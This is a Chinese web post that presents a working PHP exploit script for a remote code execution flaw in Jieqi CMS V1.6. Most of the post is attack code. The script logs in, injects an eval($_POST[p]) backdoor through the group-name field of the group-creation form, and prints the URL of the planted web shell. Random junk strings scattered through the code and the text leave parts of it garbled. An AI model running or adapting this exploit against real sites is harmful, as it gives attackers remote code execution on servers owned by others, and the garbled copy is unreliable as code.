Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
' D& ?/ q) q6 W2 f 需要有一个能创建圈子的用户。
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print_r('
( p6 M9 g- _2 }- ~2 a4 f+---------------------------------------------------------------------------+
/ K, k0 A% p! o  J' S9 VJieqi CMS V1.6 PHP Code Injection Exploit
2 |8 w: s4 x( L: `! iby flyh4t
9 w/ x. o% V6 `1 v" f: R! email: phpsec at hotmail dot com
team: http://www.wolvez.org
$ ~  S' S9 ?& Z) a2 }) B. u- n0 q+---------------------------------------------------------------------------+
! ~! B' p% ~8 G; v2 p6 o: d'); /**
* works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
* t0 ~3 e4 F: _; EUsage: php '.$argv[0].' host path username
/ F" A/ h$ R' P7 \' [host:      target server (ip/hostname)
' J- \4 V& U& V0 Ppath:      path to jieqicms
) C. F( {0 M+ t! {0 u, tuasename:  a username who can create group
# d) {. c0 O% s. ^8 R% ~Example:
' A* I& ~  K+ A% j8 V" mphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

! T' t" b9 E" n5 {'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
" S. M) G+ `3 E3 t; w0 ^9 _9 OContent-Disposition: form-data; name="gcatid"

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-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

1
-----------------------------23281168279961
5 F- r1 \/ T- WContent-Disposition: form-data; name="gbrief"
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; z: a6 {3 M/ x2 `1 I, ^- L2 r-----------------------------23281168279961--
1 I8 T! N# z' v: |. ]4 |; e9 O; l'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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9 p$ ~' Q6 t8 Y! |' O! ^" Y* wpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;